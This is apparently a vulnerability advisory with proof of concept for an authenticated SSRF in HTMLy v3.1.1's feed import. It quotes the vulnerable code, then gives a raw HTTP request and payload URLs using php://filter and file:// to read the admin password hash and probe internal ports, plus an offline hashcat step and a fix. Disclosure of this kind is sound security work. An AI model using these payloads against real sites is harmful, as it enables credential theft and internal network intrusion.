
Proof-of-concept and technical write-up for CVE-2026-37107, an authenticated SSRF in HTMLy v3.1.1's feed import that enables arbitrary file read via PHP stream wrappers and internal network probing.
get_feed() Leads to Arbitrary File Read (php://filter / file://) and Internal Network Probing/system/admin/admin.php, function get_feed(), reachable via POST /admin/importHTMLy v3.1.1 exposes a "Import Feed" feature at POST /admin/import. The user-supplied url parameter is passed without any protocol/destination validation to get_feed(), which hands it directly to PHP's file_get_contents(). Because file_get_contents() accepts PHP stream wrappers, an authenticated admin can supply file://, php://filter/..., or http://127.0.0.1/... schemes to:
config/users/<user>.ini which stores the admin bcrypt password hash (via php://filter/convert.base64-encode to binary-safe the read);file_get_contents() warning output;The disclosed admin password hash can be cracked offline to recover the plaintext password (verified with hashcat -m 3200).
system/admin/admin.php lines 1531-1534:
// Fetch RSS feed
function get_feed($feed_url, $credit)
{
$source = file_get_contents($feed_url); // line 1533 — NO protocol validation
$feed = new SimpleXmlElement($source); // line 1534
...
}
Reachable from system/htmly.php (route POST /admin/import, lines 1772-1786):
post('/admin/import', function () {
if(!login()) { ... }
$proper = is_csrf_proper(from($_REQUEST, 'csrf_token'));
$url = from($_REQUEST, 'url'); // line 1778 — attacker-controlled
...
if ($role === 'admin') {
if (!empty($url) && $proper) {
get_feed($url, $credit); // line 1785 — sinks into file_get_contents()
$log = get_feed($url, $credit); // line 1786 — note: called TWICE (also a defect)
No allow-list (e.g., http:///https:// only) is applied to $url anywhere in the call chain.
Environment: Apache/2.4.43 + PHP 7.3.4 (mod_fcgid), HTMLy v3.1.1, attacker holds an admin account.
url=file:///C:/ → the PHP warning discloses the absolute web root:
Warning: file_get_contents(file:///C:/): failed to open stream: No such file or directory
in D:\...\htmly-3.1.1\system\admin\admin.php on line 1533
url=php://filter/convert.base64-encode/resource=<WEBROOT>/config/users/admin.ini
The base64-encoded file content is reflected in the SimpleXMLElement::__construct() parser-error output and in the fatal-error context; decoding yields:
password = $2y$10$WviBJCqjxQPOpwLKFNTez... (bcrypt hash, cracked offline)
role = admin
url=http://127.0.0.1:<LISTENER_PORT>/feed.xml serving a valid RSS document → the listener received two HTTP GET requests from the server process (matching the duplicated get_feed() calls at lines 1785-1786), and the feed import completed, proving full request-forgery capability towards internal services.
Note: the raw base64/stack-trace reflection is visible when
display_errors=On(as in the reporter's original test environment). Withdisplay_errors=Offthe SSRF still executes (verified via callback + 500-vs-200 behavioral oracle); the file read itself is unaffected.
POST /admin/import HTTP/1.1
Host: <TARGET_HOST>
Content-Length: 205
Cache-Control: max-age=0
Origin: http://<TARGET_HOST>
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;b3;q=0.7
Referer: http://<TARGET_HOST>/admin/import
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=<ADMIN_SESSION_ID>
Connection: keep-alive
url=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D<URL_ENCODED_FILE_PATH>&csrf_token=<CSRF_TOKEN>&submit=Start+Import+Feed
Payload reference (URL-encode :→%3A, /→%2F):
url=file%3A%2F%2F%2FC%3A%2Furl=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D<FILE_PATH>url=http%3A%2F%2F127.0.0.1%3A3306 / url=http%3A%2F%2F192.168.1.100%3A8080<CSRF_TOKEN> is obtained from the hidden csrf_token field on the GET /admin/import page (tied to the admin session).
| Impact | Confirmed | Notes |
|---|---|---|
| Internal network SSRF | Yes | Callback listener received requests; attacker fully controls scheme/host/port |
| Arbitrary file read | Yes | php://filter chain returns binary-safe base64 of any readable file |
| Sensitive credential disclosure | Yes | config/users/*.ini stores admin bcrypt hash |
| Admin credential recovery | Yes | Offline crack of leaked bcrypt hash (hashcat -m 3200, verified) |
| Absolute path disclosure | Yes | file_get_contents() warning output |
Validate the scheme in the route handler before calling get_feed():
$scheme = parse_url($url, PHP_URL_SCHEME);
if (!in_array($scheme, ['http', 'https'], true)) {
// reject: render error, do not fetch
}
Defense-in-depth:
allow_url_fopen hardening where feasible, or fetch through cURL restricted to HTTP(S);get_feed() call (line 1786);